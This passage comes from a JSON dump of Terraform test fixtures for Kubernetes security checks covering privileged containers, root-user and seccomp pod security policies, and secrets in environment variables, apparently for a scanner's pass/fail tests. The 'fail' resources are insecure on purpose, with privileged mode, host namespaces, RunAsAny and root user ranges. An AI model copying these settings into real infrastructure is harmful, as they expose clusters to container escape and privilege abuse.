= \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#false\nresource \"kubernetes_deployment_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          security_context {\n            privileged                = false\n            read_only_root_filesystem = false\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          security_context {\n            privileged = true\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n\nresource \"kubernetes_pod\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = false\n        read_only_root_filesystem = true\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = false\n        read_only_root_filesystem = true\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\nresource \"kubernetes_deployment\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          security_context {\n            privileged                = false\n            read_only_root_filesystem = true\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          security_context {\n            privileged                = false\n            read_only_root_filesystem = true\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_RootContainerPSP/main.tf",
    "content": "resource \"kubernetes_pod_security_policy\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    privileged                 = true\n    allow_privilege_escalation = true\n\n    volumes = [\n      \"configMap\",\n      \"emptyDir\",\n      \"projected\",\n      \"secret\",\n      \"downwardAPI\",\n      \"persistentVolumeClaim\",\n    ]\n\n    run_as_user {\n      rule = \"RunAsAny\"\n    }\n\n    se_linux {\n      rule = \"RunAsAny\"\n    }\n\n    supplemental_groups {\n      rule = \"RunAsAny\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    fs_group {\n      rule = \"MustRunAs\"\n      range {\n        min = 0\n        max = 65535\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod_security_policy\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n}\n\nresource \"kubernetes_pod_security_policy\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    privileged                 = true\n    allow_privilege_escalation = true\n\n    volumes = [\n      \"configMap\",\n      \"emptyDir\",\n      \"projected\",\n      \"secret\",\n      \"downwardAPI\",\n      \"persistentVolumeClaim\",\n    ]\n\n    run_as_user {\n      rule = \"MustRunAsNonRoot\"\n    }\n\n    se_linux {\n      rule = \"RunAsAny\"\n    }\n\n    supplemental_groups {\n      rule = \"RunAsAny\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    fs_group {\n      rule = \"MustRunAs\"\n      range {\n        min = 0\n        max = 65535\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod_security_policy\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    privileged                 = true\n    allow_privilege_escalation = true\n\n    volumes = [\n      \"configMap\",\n      \"emptyDir\",\n      \"projected\",\n      \"secret\",\n      \"downwardAPI\",\n      \"persistentVolumeClaim\",\n    ]\n\n    run_as_user {\n      rule = \"MustRunAs\"\n      range {\n        max = 0\n        min = 0\n      }\n    }\n\n    se_linux {\n      rule = \"RunAsAny\"\n    }\n\n    supplemental_groups {\n      rule = \"RunAsAny\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    fs_group {\n      rule = \"MustRunAs\"\n      range {\n        min = 0\n        max = 65535\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod_security_policy\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    privileged                 = true\n    allow_privilege_escalation = true\n\n    volumes = [\n      \"configMap\",\n      \"emptyDir\",\n      \"projected\",\n      \"secret\",\n      \"downwardAPI\",\n      \"persistentVolumeClaim\",\n    ]\n\n    run_as_user {\n      rule = \"MustRunAs\"\n      range {\n        max = 1\n        min = 65535\n      }\n    }\n\n    se_linux {\n      rule = \"RunAsAny\"\n    }\n\n    supplemental_groups {\n      rule = \"RunAsAny\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    fs_group {\n      rule = \"MustRunAs\"\n      range {\n        min = 0\n        max = 65535\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_SeccompPSP/main.tf",
    "content": "resource \"kubernetes_pod_security_policy\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    annotations = {\n      seccomp.security.alpha.kubernetes.io/defaultProfileName =\"docker/default\"\n      \"seccomp.security.alpha.kubernetes.io/defaultProfileName\"=\"docker/default\"\n    }\n  }\n  spec {\n    privileged                 = true\n    allow_privilege_escalation = true\n    host_ipc                   = true\n    host_pid                   = true\n    host_network               = true\n    allowed_capabilities       = [\"NET_BIND_SERVICE\"]\n\n    volumes = [\n      \"configMap\",\n      \"emptyDir\",\n      \"projected\",\n      \"secret\",\n      \"downwardAPI\",\n      \"persistentVolumeClaim\",\n    ]\n    # required_drop_capabilities = [\n    #   \"NET_RAW\",\n    #   \"KILL\",\n    #   \"SYS_TIME\",\n    # ]\n    run_as_user {\n      rule = \"RunAsAny\"\n    }\n\n    se_linux {\n      rule = \"RunAsAny\"\n    }\n\n    supplemental_groups {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    fs_group {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    read_only_root_filesystem = false\n  }\n}\n\n#no annotation\nresource \"kubernetes_pod_security_policy\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    privileged                 = true\n    allow_privilege_escalation = true\n    host_ipc                   = true\n    host_pid                   = true\n    host_network               = true\n    allowed_capabilities       = [\"NET_BIND_SERVICE\"]\n\n    volumes = [\n      \"configMap\",\n      \"emptyDir\",\n      \"projected\",\n      \"secret\",\n      \"downwardAPI\",\n      \"persistentVolumeClaim\",\n    ]\n    # required_drop_capabilities = [\n    #   \"NET_RAW\",\n    #   \"KILL\",\n    #   \"SYS_TIME\",\n    # ]\n    run_as_user {\n      rule = \"RunAsAny\"\n    }\n\n    se_linux {\n      rule = \"RunAsAny\"\n    }\n\n    supplemental_groups {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    fs_group {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    read_only_root_filesystem = false\n  }\n}\n\n#wrong annotation\nresource \"kubernetes_pod_security_policy\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    annotations = {\n      \"service.beta.kubernetes.io/aws-load-balancer-internal\" = \"false\"\n    }\n  }\n  spec {\n    privileged                 = true\n    allow_privilege_escalation = true\n    host_ipc                   = true\n    host_pid                   = true\n    host_network               = true\n    allowed_capabilities       = [\"NET_BIND_SERVICE\"]\n\n    volumes = [\n      \"configMap\",\n      \"emptyDir\",\n      \"projected\",\n      \"secret\",\n      \"downwardAPI\",\n      \"persistentVolumeClaim\",\n    ]\n    # required_drop_capabilities = [\n    #   \"NET_RAW\",\n    #   \"KILL\",\n    #   \"SYS_TIME\",\n    # ]\n    run_as_user {\n      rule = \"RunAsAny\"\n    }\n\n    se_linux {\n      rule = \"RunAsAny\"\n    }\n\n    supplemental_groups {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    fs_group {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    read_only_root_filesystem = false\n  }\n}\n\nresource \"kubernetes_pod_security_policy\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n    annotations = {\n      seccomp.security.alpha.kubernetes.io/defaultProfileName = \"false\"\n    }\n  }\n  spec {\n    privileged                 = true\n    allow_privilege_escalation = true\n    host_ipc                   = true\n    host_pid                   = true\n    host_network               = true\n    allowed_capabilities       = [\"NET_BIND_SERVICE\"]\n\n    volumes = [\n      \"configMap\",\n      \"emptyDir\",\n      \"projected\",\n      \"secret\",\n      \"downwardAPI\",\n      \"persistentVolumeClaim\",\n    ]\n    # required_drop_capabilities = [\n    #   \"NET_RAW\",\n    #   \"KILL\",\n    #   \"SYS_TIME\",\n    # ]\n    run_as_user {\n      rule = \"RunAsAny\"\n    }\n\n    se_linux {\n      rule = \"RunAsAny\"\n    }\n\n    supplemental_groups {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    fs_group {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    read_only_root_filesystem = false\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_Secrets/main.tf",
    "content": "resource \"kubernetes_pod\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n\n        value_from {\n\n          secret_key_ref {\n            key = \"hjjhjh\"\n          }\n        }\n      }\n\n      env_from {\n        secret_ref {\n          name = \"wwww\"\n        }\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n\n        value_from {\n\n          secret_key_ref {\n            key = \"hjjhjh\"\n          }\n        }\n      }\n\n      env_from {\n        secret_ref {\n          name = \"wwww\"\n        }\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\nresource \"kubernetes_deployment\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n\n            value_from {\n\n              secret_key_ref {\n                key = \"hjjhjh\"\n              }\n            }\n          }\n\n          env_from {\n            secret_ref {\n              name = \"wwww\"\n            }\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n\n            value_from {\n\n              secret_key_ref {\n                key = \"hjjhjh\"\n              }\n            }\n          }\n\n          env_from {\n            secret_ref {\n              name = \"wwww\"\n            }\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n\n resource \"kubernetes_pod\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env_from {\n        secret_ref {\n          name = \"wwww\"\n        }\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env_from {\n        secret_ref {\n          name = \"wwww\"\n        }\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\nresource \"kubernetes_deployment\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          env_from {\n            secret_ref {\n              name = \"wwww\"\n            }\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          env_from {\n            secret_ref {\n              name = \"wwww\"\n            }\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n\n resource \"kubernetes_pod\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n\n        value_from {\n        }\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n\n        value_from {\n        }\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n\n            value_from {\n            }\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n\n            value_from {\n            }\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = 